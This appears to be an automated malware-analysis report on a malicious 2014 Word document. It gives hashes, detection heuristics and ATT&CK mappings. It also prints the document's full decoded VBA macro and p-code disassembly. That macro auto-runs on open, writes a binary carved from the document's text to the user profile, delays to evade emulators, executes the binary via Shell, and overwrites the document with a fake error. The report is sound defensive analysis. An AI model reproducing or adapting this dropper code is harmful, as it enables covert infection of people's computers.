Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 cd80354efd082b86…

MALICIOUS

Office (OLE)

1.35 MB Created: 2014-07-15 11:33:00 Authoring application: Microsoft Word 8.0 First seen: 2014-08-17
MD5: e7288119267676a24e15d942d53fd5c3 SHA-1: 3fcabac0912822400883fd878ce3d3d5960e657f SHA-256: cd80354efd082b8665fcbda62b60a2955b6846c9fd484cb084fe224bc0493ff2
234 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic T1071.001 Web Protocols

The sample contains VBA macros, including an AutoOpen macro, and heuristics indicate potential execution of shell commands. The document body explicitly instructs the user to 'Enable Content' to view the document, a common lure for macro-based malware. The VBA script appears to construct a URL using concatenated strings, likely for downloading a secondary payload.

Heuristics 10

  • ClamAV: Doc.Downloader.Generic-6698421-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-6698421-0
  • VBA macros detected medium 6 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        LoL7 = Shell(LoL10)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        LoL2 = Environ("USERPROFILE")
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://office365.com In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 10778 bytes
SHA-256: c590c1ad226907306ab42b101b3deac2244fb4d3bd656366971f48ac2e5d4930
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "CommandButton1, 0, 0, MSForms, CommandButton"

Attribute VB_Name = "NewMacros"
'start
Sub LoL12()
    Dim LoL7 As Integer
    Dim LoL1 As String
    Dim LoL2 As String
    Dim LoL3 As Integer
    Dim LoL4 As Paragraph
    Dim LoL8 As Long
    Dim LoL9 As Boolean
    Dim LoL5 As Integer
    Dim LoL11 As String
    Dim LoL6 As Byte
    Dim Rlvqahwhzf As String
    Rlvqahwhzf = "Pdpzckqfrq"
    Dim hacku As String
    Dim hackme As String
    hacku = "ZwGuKEMphiZgNT"
    dot = "."
    hackme = "com"
    LoL1 = hacku + dot + hackme
    LoL2 = Environ("USERPROFILE")
    ChDrive (LoL2)
    ChDir (LoL2)
    LoL3 = FreeFile()
    
    bin
    
    Debug.Print "The alarm will go off in 10 seconds!" ' AntiEmul
    Debug.Print ("Before OnTime: " & Now)
    alertTime = Now + TimeValue("00:10:00")
    Application.OnTime alertTime, "EventMacro"
    Debug.Print ("After OnTime: " & Now)
    
    For Each LoL4 In ActiveDocument.Paragraphs
        x (LoL4)
        LoL11 = LoL4.Range.Text
        Debug.Print "The alarm will go off in 10 seconds!" ' AntiEmul
        Debug.Print ("Before OnTime: " & Now)
        alertTime = Now + TimeValue("00:10:00")
        Application.OnTime alertTime, "EventMacro"
        Debug.Print ("After OnTime: " & Now)
        If (LoL9 = True) Then
            LoL8 = 1
            While (LoL8 < Len(LoL11))
                Dim op As Integer
                op = 4
                LoL6 = Mid(LoL11, LoL8, op)
                Application.OnTime alertTime, "EventMacro" ' Mini AntiEmul
                Debug.Print ("After OnTime: " & Now)
                Put #LoL3, , LoL6
                LoL8 = LoL8 + op
            Wend
        ElseIf (InStr(1, LoL11, Rlvqahwhzf) > 0 And Len(LoL11) > 0) Then
            Dim sukalol As Boolean
            sukalol = True
            LoL9 = sukalol
        End If
        Next
    Close #LoL3
    LoL13 (LoL1)
End Sub

Sub x(xxx As String)
DoEvents
End Sub

Sub bin()
    Dim LoL1 As String
    Dim LoL3 As Integer
    Dim hacku As String
    Dim hackme As String
    hacku = "ZwGuKEMphiZgNT"
    dot = "."
    hackme = "com"
    LoL1 = hacku + dot + hackme
    LoL3 = FreeFile()
    Open LoL1 For Binary As LoL3
End Sub

Sub LoL13(LoL10 As String)
    Dim LoL7 As Integer
    Dim LoL2 As String
    LoL2 = Environ("USERPROFILE")
    ChDrive (LoL2)
    ChDir (LoL2)
    Debug.Print "The alarm will go off in 10 seconds!" ' AntiEmul
    Debug.Print ("Before OnTime: " & Now)
    alertTime = Now + TimeValue("00:10:00")
    Application.OnTime alertTime, "EventMacro"
    Debug.Print ("After OnTime: " & Now)

    LoL7 = Shell(LoL10)
    
    'Patcher Document
    Word.ActiveDocument.Range.Select
    Selection.WholeStory
    Selection.Delete Unit:=wdCharacter, Count:=1
    
    Dim doc As Word.Document
    Set doc = ThisDocument
   
    doc.Range.InsertParagraphAfter
    
    doc.Range.InsertAfter "format is not supported......" + vbLf
End Sub

Sub Auto_Open()
    LoL12
End Sub

Sub Workbook_Open()
    Auto_Open
End Sub


Sub AutoOpen()
    Auto_Open
End Sub


' Processing file: /opt/analyzer/scan_staging/4edb3963ef4b44359a488545340a7d15.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 1068 bytes
' Error: unpack_from requires a buffer of at least 1851878827 bytes for unpacking 2 bytes at offset 1851878825 (actual buffer size is 1068).
' Macros/VBA/NewMacros - 6513 bytes
' Line #0:
' 	QuoteRem 0x0000 0x0005 "start"
' Line #1:
' 	FuncDefn (Sub LoL12())
' Line #2:
' 	Dim 
' 	VarDefn LoL7 (As Integer)
' Line #3:
' 	Dim 
' 	VarDefn LoL1 (As String)
' Line #4:
' 	Dim 
' 	VarDefn LoL2 (As String)
' Line #5:
' 	Dim 
' 	VarDefn LoL3 (As Integer)
' Line #6:
' 	Dim 
' 	VarDefn LoL4
' Line #7:
' 	Dim 
' 	VarDefn LoL8 (As Long)
' Line #8:
' 	Dim 
' 	VarDefn LoL9 (As Boolean)
' Line #9:
' 	Dim 
' 	VarDefn LoL5 (As Integer)
' Line #10:
' 	Dim 
' 	VarDefn LoL11 (As String)
' Line #11:
' 	Dim 
' 	VarDefn LoL6 (As Byte)
' Line #12:
' 	Dim 
' 	VarDefn Rlvqahwhzf (As String)
' Line #13:
' 	LitStr 0x000A "Pdpzckqfrq"
' 	St Rlvqahwhzf 
' Line #14:
' 	Dim 
' 	VarDefn hacku (As String)
' Line #15:
' 	Dim 
' 	VarDefn hackme (As String)
' Line #16:
' 	LitStr 0x000E "ZwGuKEMphiZgNT"
' 	St hacku 
' Line #17:
' 	LitStr 0x0001 "."
' 	St dot 
' Line #18:
' 	LitStr 0x0003 "com"
' 	St hackme 
' Line #19:
' 	Ld hacku 
' 	Ld dot 
' 	Add 
' 	Ld hackme 
' 	Add 
' 	St LoL1 
' Line #20:
' 	LitStr 0x000B "USERPROFILE"
' 	ArgsLd Environ 0x0001 
' 	St LoL2 
' Line #21:
' 	Ld LoL2 
' 	Paren 
' 	ArgsCall ChDrive 0x0001 
' Line #22:
' 	Ld LoL2 
' 	Paren 
' 	ArgsCall ChDir 0x0001 
' Line #23:
' 	ArgsLd Friend 0x0000 
' 	St LoL3 
' Line #24:
' Line #25:
' 	ArgsCall bin 0x0000 
' Line #26:
' Line #27:
' 	Debug 
' 	PrintObj 
' 	LitStr 0x0024 "The alarm will go off in 10 seconds!"
' 	PrintItemNL 
' 	QuoteRem 0x0037 0x0009 " AntiEmul"
' Line #28:
' 	Debug 
' 	PrintObj 
' 	LitStr 0x000F "Before OnTime: "
' 	Ld Now 
' 	Concat 
' 	Paren 
' 	PrintItemNL 
' Line #29:
' 	Ld Now 
' 	LitStr 0x0008 "00:10:00"
' 	ArgsLd TimeValue 0x0001 
' 	Add 
' 	St alertTime 
' Line #30:
' 	Ld alertTime 
' 	LitStr 0x000A "EventMacro"
' 	Ld Application 
' 	ArgsMemCall OnTime 0x0002 
' Line #31:
' 	Debug 
' 	PrintObj 
' 	LitStr 0x000E "After OnTime: "
' 	Ld Now 
' 	Concat 
' 	Paren 
' 	PrintItemNL 
' Line #32:
' Line #33:
' 	StartForVariable 
' 	Ld LoL4 
' 	EndForVariable 
' 	Ld ActiveDocument 
' 	MemLd Paragraphs 
' 	ForEach 
' Line #34:
' 	Ld LoL4 
' 	Paren 
' 	ArgsCall x 0x0001 
' Line #35:
' 	Ld LoL4 
' 	MemLd Range 
' 	MemLd Then 
' 	St LoL11 
' Line #36:
' 	Debug 
' 	PrintObj 
' 	LitStr 0x0024 "The alarm will go off in 10 seconds!"
' 	PrintItemNL 
' 	QuoteRem 0x003B 0x0009 " AntiEmul"
' Line #37:
' 	Debug 
' 	PrintObj 
' 	LitStr 0x000F "Before OnTime: "
' 	Ld Now 
' 	Concat 
' 	Paren 
' 	PrintItemNL 
' Line #38:
' 	Ld Now 
' 	LitStr 0x0008 "00:10:00"
' 	ArgsLd TimeValue 0x0001 
' 	Add 
' 	St alertTime 
' Line #39:
' 	Ld alertTime 
' 	LitStr 0x000A "EventMacro"
' 	Ld Application 
' 	ArgsMemCall OnTime 0x0002 
' Line #40:
' 	Debug 
' 	PrintObj 
' 	LitStr 0x000E "After OnTime: "
' 	Ld Now 
' 	Concat 
' 	Paren 
' 	PrintItemNL 
' Line #41:
' 	Ld LoL9 
' 	LitVarSpecial (True)
' 	Eq 
' 	Paren 
' 	IfBlock 
' Line #42:
' 	LitDI2 0x0001 
' 	St LoL8 
' Line #43:
' 	Ld LoL8 
' 	Ld LoL11 
' 	FnLen 
' 	Lt 
' 	Paren 
' 	While 
' Line #44:
' 	Dim 
' 	VarDefn op (As Integer)
' Line #45:
' 	LitDI2 0x0004 
' 	St op 
' Line #46:
' 	Ld LoL11 
' 	Ld LoL8 
' 	Ld op 
' 	ArgsLd Mid$ 0x0003 
' 	St LoL6 
' Line #47:
' 	Ld alertTime 
' 	LitStr 0x000A "EventMacro"
' 	Ld Application 
' 	ArgsMemCall OnTime 0x0002 
' 	QuoteRem 0x003B 0x000E " Mini AntiEmul"
' Line #48:
' 	Debug 
' 	PrintObj 
' 	LitStr 0x000E "After OnTime: "
' 	Ld Now 
' 	Concat 
' 	Paren 
' 	PrintItemNL 
' Line #49:
' 	Ld LoL3 
' 	Sharp 
' 	LitDefault 
' 	Ld LoL6 
' 	PutRec 
' Line #50:
' 	Ld LoL8 
' 	Ld op 
' 	Add 
' 	St LoL8 
' Line #51:
' 	Wend 
' Line #52:
' 	LitDI2 0x0001 
' 	Ld LoL11 
' 	Ld Rlvqahwhzf 
' 	FnInStr3 
' 	LitDI2 0x0000 
' 	Gt 
' 	Ld LoL11 
' 	FnLen 
' 	LitDI2 0x0000 
' 	Gt 
' 	And 
' 	Paren 
' 	ElseIfBlock 
' Line #53:
' 	Dim 
' 	VarDefn sukalol (As Boolean)
' Line #54:
' 	LitVarSpecial (True)
' 	St sukalol 
' Line #55:
' 	Ld sukalol 
' 	St LoL9 
' Line #56:
' 	EndIfBlock 
' Line #57:
' 	StartForVariable 
' 	Next 
' Line #58:
' 	Ld LoL3 
' 	Sharp 
' 	Close 0x0001 
' Line #59:
' 	Ld LoL1 
' 	Paren 
' 	ArgsCall LoL13 0x0001 
' Line #60:
' 	EndSub 
' Line #61:
' Line #62:
' 	FuncDefn (Sub x(xxx As String))
' Line #63:
' 	ArgsCall DoEvents 0x0000 
' Line #64:
' 	EndSub 
' Line #65:
' Line #66:
' 	FuncDefn (Sub bin())
' Line #67:
' 	Dim 
' 	VarDefn LoL1 (As String)
' Line #68:
' 	Dim 
' 	VarDefn LoL3 (As Integer)
' Line #69:
' 	Dim 
' 	VarDefn hacku (As String)
' Line #70:
' 	Dim 
' 	VarDefn hackme (As String)
' Line #71:
' 	LitStr 0x000E "ZwGuKEMphiZgNT"
' 	St hacku 
' Line #72:
' 	LitStr 0x0001 "."
' 	St dot 
' Line #73:
' 	LitStr 0x0003 "com"
' 	St hackme 
' Line #74:
' 	Ld hacku 
' 	Ld dot 
' 	Add 
' 	Ld hackme 
' 	Add 
' 	St LoL1 
' Line #75:
' 	ArgsLd Friend 0x0000 
' 	St LoL3 
' Line #76:
' 	Ld LoL1 
' 	Ld LoL3 
' 	LitDefault 
' 	Open (For Binary)
' Line #77:
' 	EndSub 
' Line #78:
' Line #79:
' 	FuncDefn (Sub LoL13(LoL10 As String))
' Line #80:
' 	Dim 
' 	VarDefn LoL7 (As Integer)
' Line #81:
' 	Dim 
' 	VarDefn LoL2 (As String)
' Line #82:
' 	LitStr 0x000B "USERPROFILE"
' 	ArgsLd Environ 0x0001 
' 	St LoL2 
' Line #83:
' 	Ld LoL2 
' 	Paren 
' 	ArgsCall ChDrive 0x0001 
' Line #84:
' 	Ld LoL2 
' 	Paren 
' 	ArgsCall ChDir 0x0001 
' Line #85:
' 	Debug 
' 	PrintObj 
' 	LitStr 0x0024 "The alarm will go off in 10 seconds!"
' 	PrintItemNL 
' 	QuoteRem 0x0037 0x0009 " AntiEmul"
' Line #86:
' 	Debug 
' 	PrintObj 
' 	LitStr 0x000F "Before OnTime: "
' 	Ld Now 
' 	Concat 
' 	Paren 
' 	PrintItemNL 
' Line #87:
' 	Ld Now 
' 	LitStr 0x0008 "00:10:00"
' 	ArgsLd TimeValue 0x0001 
' 	Add 
' 	St alertTime 
' Line #88:
' 	Ld alertTime 
' 	LitStr 0x000A "EventMacro"
' 	Ld Application 
' 	ArgsMemCall OnTime 0x0002 
' Line #89:
' 	Debug 
' 	PrintObj 
' 	LitStr 0x000E "After OnTime: "
' 	Ld Now 
' 	Concat 
' 	Paren 
' 	PrintItemNL 
' Line #90:
' Line #91:
' 	Ld LoL10 
' 	ArgsLd Shell 0x0001 
' 	St LoL7 
' Line #92:
' Line #93:
' 	QuoteRem 0x0004 0x0010 "Patcher Document"
' Line #94:
' 	Ld Word 
' 	MemLd ActiveDocument 
' 	MemLd Range 
' 	ArgsMemCall Set 0x0000 
' Line #95:
' 	Ld Selection 
' 	ArgsMemCall WholeStory 0x0000 
' Line #96:
' 	Ld wdCharacter 
' 	ParamNamed Unit 
' 	LitDI2 0x0001 
' 	ParamNamed Count 
' 	Ld Selection 
' 	ArgsMemCall Delete 0x0002 
' Line #97:
' Line #98:
' 	Dim 
' 	VarDefn doc (As <crash>)
' Line #99:
' 	SetStmt 
' 	Ld ThisDocument 
' 	Set doc 
' Line #100:
' Line #101:
' 	Ld doc 
' 	MemLd Range 
' 	ArgsMemCall InsertParagraphAfter 0x0000 
' Line #102:
' Line #103:
' 	LitStr 0x001D "format is not supported......"
' 	Ld vbLf 
' 	Add 
' 	Ld doc 
' 	MemLd Range 
' 	ArgsMemCall InsertAfter 0x0001 
' Line #104:
' 	EndSub 
' Line #105:
' Line #106:
' 	FuncDefn (Sub Auto_Open())
' Line #107:
' 	ArgsCall LoL12 0x0000 
' Line #108:
' 	EndSub 
' Line #109:
' Line #110:
' 	FuncDefn (Sub Workbook_Open())
' Line #111:
' 	ArgsCall Auto_Open 0x0000 
' Line #112:
' 	EndSub 
' Line #113:
' Line #114:
' Line #115:
' 	FuncDefn (Sub AutoOpen())
' Line #116:
' 	ArgsCall Auto_Open 0x0000 
' Line #117:
' 	EndSub 
' Line #118: